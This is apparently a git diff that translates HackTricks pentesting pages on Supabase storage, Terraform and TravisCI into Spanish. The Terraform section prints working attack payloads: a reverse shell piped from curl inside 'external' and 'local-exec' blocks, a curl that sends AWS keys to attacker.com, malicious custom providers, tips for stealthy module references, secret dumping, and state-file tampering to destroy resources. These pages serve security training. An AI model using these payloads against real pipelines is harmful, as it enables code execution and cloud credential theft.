+> Supabase permite **almacenar archivos** y hacerlos accesibles a través de una URL (utiliza buckets S3).
-- Set the upload file size limit (default is 50MB)
-- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
-- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
+- Establecer el límite de tamaño de archivo de carga (el predeterminado es 50MB)
+- La conexión S3 se da con una URL como: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
+- Es posible **solicitar una clave de acceso S3** que se forma por un `access key ID` (por ejemplo, `a37d96544d82ba90057e0e06131d0a7b`) y una `secret access key` (por ejemplo, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
-## Edge Functions
+## Funciones Edge
-It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
+Es posible **almacenar secretos** en supabase también, que serán **accesibles por funciones edge** (se pueden crear y eliminar desde la web, pero no es posible acceder a su valor directamente).
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 09b875ff2..e538023a3 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -1,308 +1,278 @@
-# Terraform Security
+# Seguridad de Terraform
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Información Básica
-[From the docs:](https://developer.hashicorp.com/terraform/intro)
+[De la documentación:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
+HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube como en local** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS.
-#### How does Terraform work?
+#### ¿Cómo funciona Terraform?
-Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
+Terraform crea y gestiona recursos en plataformas en la nube y otros servicios a través de sus interfaces de programación de aplicaciones (APIs). Los proveedores permiten que Terraform funcione con prácticamente cualquier plataforma o servicio con una API accesible.
.png>)
-HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
+HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 proveedores** para gestionar miles de tipos diferentes de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el [Registro de Terraform](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más.
-The core Terraform workflow consists of three stages:
+El flujo de trabajo principal de Terraform consta de tres etapas:
-- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
-- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
-- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
+- **Escribir:** Definís recursos, que pueden estar en múltiples proveedores y servicios en la nube. Por ejemplo, podrías crear una configuración para desplegar una aplicación en máquinas virtuales en una red de Nube Privada Virtual (VPC) con grupos de seguridad y un balanceador de carga.
+- **Planificar:** Terraform crea un plan de ejecución que describe la infraestructura que creará, actualizará o destruirá en función de la infraestructura existente y tu configuración.
+- **Aplicar:** Con la aprobación, Terraform realiza las operaciones propuestas en el orden correcto, respetando cualquier dependencia de recursos. Por ejemplo, si actualizas las propiedades de una VPC y cambias el número de máquinas virtuales en esa VPC, Terraform recreará la VPC antes de escalar las máquinas virtuales.
.png>)
-### Terraform Lab
+### Laboratorio de Terraform
-Just install terraform in your computer.
+Solo instala terraform en tu computadora.
-Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
+Aquí tienes una [guía](https://learn.hashicorp.com/tutorials/terraform/install-cli) y aquí tienes la [mejor manera de descargar terraform](https://www.terraform.io/downloads).
-## RCE in Terraform
+## RCE en Terraform
-Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**.
+Terraform **no tiene una plataforma que exponga una página web o un servicio de red** que podamos enumerar, por lo tanto, la única forma de comprometer terraform es **poder agregar/modificar archivos de configuración de terraform**.
-However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
+Sin embargo, terraform es un **componente muy sensible** a comprometer porque tendrá **acceso privilegiado** a diferentes ubicaciones para que pueda funcionar correctamente.
-The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
+La principal forma en que un atacante puede comprometer el sistema donde se está ejecutando terraform es **comprometer el repositorio que almacena las configuraciones de terraform**, porque en algún momento van a ser **interpretadas**.
-Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
+De hecho, hay soluciones que **ejecutan terraform plan/apply automáticamente después de que se crea un PR**, como **Atlantis**:
{{#ref}}
atlantis-security.md
{{#endref}}
-If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
+Si puedes comprometer un archivo de terraform, hay diferentes maneras en que puedes realizar RCE cuando alguien ejecuta `terraform plan` o `terraform apply`.
### Terraform plan
-Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
+Terraform plan es el **comando más utilizado** en terraform y los desarrolladores/soluciones que utilizan terraform lo llaman todo el tiempo, por lo que la **manera más fácil de obtener RCE** es asegurarte de envenenar un archivo de configuración de terraform que ejecute comandos arbitrarios en un `terraform plan`.
-**Using an external provider**
+**Usando un proveedor externo**
-Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
-
-Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
+Terraform ofrece el [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que proporciona una forma de interfaz entre Terraform y programas externos. Puedes usar la fuente de datos `external` para ejecutar código arbitrario durante un `plan`.
+Inyectar en un archivo de configuración de terraform algo como lo siguiente ejecutará un rev shell al ejecutar `terraform plan`:
```javascript
data "external" "example" {
- program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
+**Usando un proveedor personalizado**
-**Using a custom provider**
-
-An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
-
+Un atacante podría enviar un [proveedor personalizado](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Registro de Terraform](https://registry.terraform.io/) y luego agregarlo al código de Terraform en una rama de características ([ejemplo de aquí](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
- terraform {
- required_providers {
- evil = {
- source = "evil/evil"
- version = "1.0"
- }
- }
- }
+terraform {
+required_providers {
+evil = {
+source = "evil/evil"
+version = "1.0"
+}
+}
+}
provider "evil" {}
```
+El proveedor se descarga en el `init` y ejecutará el código malicioso cuando se ejecute `plan`.
-The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
+Puedes encontrar un ejemplo en [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
-You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
+**Usando una referencia externa**
-**Using an external reference**
-
-Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+Ambas opciones mencionadas son útiles pero no muy sigilosas (la segunda es más sigilosa pero más compleja que la primera). Puedes realizar este ataque incluso de una **manera más sigilosa**, siguiendo estas sugerencias:
+- En lugar de agregar el rev shell directamente en el archivo de terraform, puedes **cargar un recurso externo** que contenga el rev shell:
```javascript
module "not_rev_shell" {
- source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
+Puedes encontrar el código de rev shell en [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- En el recurso externo, utiliza la función **ref** para ocultar el **código de rev shell de terraform en una rama** dentro del repositorio, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
-Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
-
+Se ejecutará Terraform apply para aplicar todos los cambios, también puedes abusar de esto para obtener RCE inyectando **un archivo de Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
+Solo necesitas asegurarte de que alguna carga útil como las siguientes termine en el archivo `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
- provisioner "local-exec" {
- command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
- }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
- provisioner "local-exec" {
- command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
- }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
}
```
+Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una **manera más sigilosa utilizando referencias externas**.
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
-
-## Secrets Dumps
-
-You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
+## Volcados de secretos
+Puedes tener **valores secretos utilizados por terraform volcados** ejecutando `terraform apply` al agregar al archivo de terraform algo como:
```json
output "dotoken" {
- value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
}
```
-
## Abusing Terraform State Files
-In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file:
+En caso de que tengas acceso de escritura sobre los archivos de estado de terraform pero no puedas cambiar el código de terraform, [**esta investigación**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) ofrece algunas opciones interesantes para aprovechar el archivo:
### Deleting resources
-There are 2 ways to destroy resources:
+Hay 2 formas de destruir recursos:
-1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
-
-Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
+1. **Insertar un recurso con un nombre aleatorio en el archivo de estado que apunte al recurso real a destruir**
+Porque terraform verá que el recurso no debería existir, lo destruirá (siguiendo el ID del recurso real indicado). Ejemplo de la página anterior:
```json
{
- "mode": "managed",
- "type": "aws_instance",
- "name": "example",
- "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
- "instances": [
- {
- "attributes": {
- "id": "i-1234567890abcdefg"
- }
- }
- ]
+"mode": "managed",
+"type": "aws_instance",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
+"instances": [
+{
+"attributes": {
+"id": "i-1234567890abcdefg"
+}
+}
+]
},
```
+2. **Modificar el recurso para eliminar de manera que no sea posible actualizar (así será eliminado y recreado)**
-2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
-
-For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
+Para una instancia EC2, modificar el tipo de la instancia es suficiente para que terraform la elimine y la recree.
### RCE
-It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research:
-
+También es posible [crear un proveedor personalizado](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) y simplemente reemplazar uno de los proveedores en el archivo de estado de terraform por el malicioso o agregar un recurso vacío con el proveedor malicioso. Ejemplo de la investigación original:
```json
"resources": [
{
- "mode": "managed",
- "type": "scaffolding_example",
- "name": "example",
- "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
- "instances": [
+"mode": "managed",
+"type": "scaffolding_example",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
+"instances": [
- ]
+]
},
```
+### Reemplazar proveedor en la lista negra
-### Replace blacklisted provider
-
-In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
-
+En caso de que te encuentres en una situación donde `hashicorp/external` fue puesto en la lista negra, puedes re-implementar el proveedor `external` haciendo lo siguiente. Nota: Usamos un fork del proveedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. También puedes publicar tu propio fork o re-implementación.
```terraform
terraform {
- required_providers {
- external = {
- source = "nazarewk/external"
- version = "3.0.0"
- }
- }
+required_providers {
+external = {
+source = "nazarewk/external"
+version = "3.0.0"
+}
+}
}
```
-
-Then you can use `external` as per normal.
-
+Entonces puedes usar `external` como de costumbre.
```terraform
data "external" "example" {
- program = ["sh", "-c", "whoami"]
+program = ["sh", "-c", "whoami"]
}
```
-
-## Automatic Audit Tools
+## Herramientas de Auditoría Automáticas
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
-Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
-
-- **Features:**
- - Real-time scanning for security vulnerabilities and compliance issues.
- - Integration with version control systems (GitHub, GitLab, Bitbucket).
- - Automated fix pull requests.
- - Detailed remediation advice.
-- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
+Snyk ofrece una solución integral de escaneo de Infrastructure as Code (IaC) que detecta vulnerabilidades y configuraciones incorrectas en Terraform, CloudFormation, Kubernetes y otros formatos de IaC.
+- **Características:**
+- Escaneo en tiempo real para vulnerabilidades de seguridad y problemas de cumplimiento.
+- Integración con sistemas de control de versiones (GitHub, GitLab, Bitbucket).
+- Solicitudes de extracción de corrección automatizadas.
+- Consejos detallados de remediación.
+- **Regístrate:** Crea una cuenta en [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
-
### [Checkov](https://github.com/bridgecrewio/checkov)
-**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
+**Checkov** es una herramienta de análisis de código estático para infraestructura como código (IaC) y también una herramienta de análisis de composición de software (SCA) para imágenes y paquetes de código abierto.
-It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
-
-It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
+Escanea la infraestructura en la nube provisionada utilizando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) o [OpenTofu](https://opentofu.org/) y detecta configuraciones incorrectas de seguridad y cumplimiento utilizando escaneo basado en gráficos.
+Realiza [análisis de composición de software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) que es un escaneo de paquetes de código abierto e imágenes para Vulnerabilidades y Exposiciones Comunes (CVEs).
```bash
pip install checkov
checkov -d /path/to/folder
```
-
### [terraform-compliance](https://github.com/terraform-compliance/cli)
-From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
+De los [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un marco de prueba ligero, enfocado en la seguridad y el cumplimiento, contra terraform para habilitar la capacidad de pruebas negativas para tu infraestructura como código.
-- **compliance:** Ensure the implemented code is following security standards, your own custom standards
-- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
-- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
-- **pre-deploy:** it validates your code before it is deployed
-- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
-- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
+- **cumplimiento:** Asegúrate de que el código implementado siga los estándares de seguridad, tus propios estándares personalizados.
+- **desarrollo guiado por comportamiento:** Tenemos BDD para casi todo, ¿por qué no para IaC?
+- **portátil:** solo instálalo desde `pip` o ejecútalo a través de `docker`. Consulta [Instalación](https://terraform-compliance.com/pages/installation/)
+- **pre-despliegue:** valida tu código antes de que se despliegue.
+- **fácil de integrar:** puede ejecutarse en tu pipeline (o en ganchos de git) para asegurar que todos los despliegues sean validados.
+- **segregación de deberes:** puedes mantener tus pruebas en un repositorio diferente donde un equipo separado sea responsable.
> [!NOTE]
-> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
-
+> Desafortunadamente, si el código está utilizando algunos proveedores a los que no tienes acceso, no podrás realizar el `terraform plan` y ejecutar esta herramienta.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
-
### [tfsec](https://github.com/aquasecurity/tfsec)
-From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
-
-- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
-- ⛔ Hundreds of built-in rules
-- 🪆 Scans modules (local and remote)
-- ➕ Evaluates HCL expressions as well as literal values
-- ↪️ Evaluates Terraform functions e.g. `concat()`
-- 🔗 Evaluates relationships between Terraform resources
-- 🧰 Compatible with the Terraform CDK
-- 🙅 Applies (and embellishes) user-defined Rego policies
-- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
-- 🛠️ Configurable (via CLI flags and/or config file)
-- ⚡ Very fast, capable of quickly scanning huge repositories
+De la [**documentación**](https://github.com/aquasecurity/tfsec): tfsec utiliza análisis estático de tu código de terraform para detectar posibles configuraciones incorrectas.
+- ☁️ Verifica configuraciones incorrectas en todos los principales (y algunos menores) proveedores de nube
+- ⛔ Cientos de reglas integradas
+- 🪆 Escanea módulos (locales y remotos)
+- ➕ Evalúa expresiones HCL así como valores literales
+- ↪️ Evalúa funciones de Terraform, por ejemplo, `concat()`
+- 🔗 Evalúa relaciones entre recursos de Terraform
+- 🧰 Compatible con el CDK de Terraform
+- 🙅 Aplica (y embellece) políticas de Rego definidas por el usuario
+- 📃 Soporta múltiples formatos de salida: lovely (predeterminado), JSON, SARIF, CSV, CheckStyle, JUnit, texto, Gif.
+- 🛠️ Configurable (a través de flags de CLI y/o archivo de configuración)
+- ⚡ Muy rápido, capaz de escanear rápidamente grandes repositorios
```bash
brew install tfsec
tfsec /path/to/folder
```
-
### [KICKS](https://github.com/Checkmarx/kics)
-Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
-
-**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
+Encuentra vulnerabilidades de seguridad, problemas de cumplimiento y configuraciones incorrectas de infraestructura temprano en el ciclo de desarrollo de tu infraestructura como código con **KICS** de Checkmarx.
+**KICS** significa **K**eeping **I**nfrastructure as **C**ode **S**ecure, es de código abierto y es imprescindible para cualquier proyecto nativo de la nube.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
-
### [Terrascan](https://github.com/tenable/terrascan)
-From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
-
-- Seamlessly scan infrastructure as code for misconfigurations.
-- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
-- Detect security vulnerabilities and compliance violations.
-- Mitigate risks before provisioning cloud native infrastructure.
-- Offers flexibility to run locally or integrate with your CI\CD.
+De la [**documentación**](https://github.com/tenable/terrascan): Terrascan es un analizador de código estático para Infraestructura como Código. Terrascan te permite:
+- Escanear sin problemas la infraestructura como código en busca de configuraciones incorrectas.
+- Monitorear la infraestructura en la nube provisionada para cambios de configuración que introduzcan desviaciones de postura, y permite revertir a una postura segura.
+- Detectar vulnerabilidades de seguridad y violaciones de cumplimiento.
+- Mitigar riesgos antes de provisionar infraestructura nativa de la nube.
+- Ofrecer flexibilidad para ejecutarse localmente o integrarse con tu CI\CD.
```bash
brew install terrascan
```
-
-## References
+## Referencias
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
@@ -310,7 +280,3 @@ brew install terrascan
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index 63a3bb5c8..2a5283951 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
-Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
+Se aceptan PRs de Github que expliquen cómo (ab)usar esas plataformas desde la perspectiva de un atacante
- Drone
- TeamCity
@@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
- Rancher
- Mesosphere
- Radicle
-- Any other CI/CD platform...
+- Cualquier otra plataforma CI/CD...
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index cff623392..34bdb9892 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -2,68 +2,64 @@
{{#include ../../banners/hacktricks-training.md}}
-## What is TravisCI
+## Qué es TravisCI
-**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
+**Travis CI** es un servicio de **integración continua** **alojado** o en **local** utilizado para construir y probar proyectos de software alojados en varias **plataformas git diferentes**.
{{#ref}}
basic-travisci-information.md
{{#endref}}
-## Attacks
+## Ataques
-### Triggers
+### Disparadores
-To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
+Para lanzar un ataque primero necesitas saber cómo disparar una construcción. Por defecto, TravisCI **disparará una construcción en los pushes y pull requests**:
.png>)
-#### Cron Jobs
+#### Trabajos Cron
-If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
+Si tienes acceso a la aplicación web, puedes **configurar trabajos cron para ejecutar la construcción**, esto podría ser útil para persistencia o para disparar una construcción:
.png>)
> [!NOTE]
-> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
+> Parece que no es posible configurar trabajos cron dentro del `.travis.yml` según [esto](https://github.com/travis-ci/travis-ci/issues/9162).
-### Third Party PR
+### PR de Terceros
-TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
+TravisCI, por defecto, desactiva el compartir variables de entorno con PRs provenientes de terceros, pero alguien podría habilitarlo y entonces podrías crear PRs al repositorio y exfiltrar los secretos:
.png>)
-### Dumping Secrets
+### Volcado de Secretos
-As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
+Como se explica en la página de [**información básica**](basic-travisci-information.md), hay 2 tipos de secretos. **Secretos de Variables de Entorno** (que están listados en la página web) y **secretos personalizados cifrados**, que se almacenan dentro del archivo `.travis.yml` como base64 (ten en cuenta que ambos, al ser almacenados cifrados, terminarán como variables de entorno en las máquinas finales).
-- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
-- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
-- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
+- Para **enumerar secretos** configurados como **Variables de Entorno**, ve a la **configuración** del **proyecto** y revisa la lista. Sin embargo, ten en cuenta que todas las variables de entorno del proyecto configuradas aquí aparecerán al disparar una construcción.
+- Para enumerar los **secretos personalizados cifrados**, lo mejor que puedes hacer es **revisar el archivo `.travis.yml`**.
+- Para **enumerar archivos cifrados**, puedes buscar archivos **`.enc`** en el repositorio, por líneas similares a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` en el archivo de configuración, o por **iv y claves cifradas** en las **Variables de Entorno** como:
.png>)
### TODO:
-- Example build with reverse shell running on Windows/Mac/Linux
-- Example build leaking the env base64 encoded in the logs
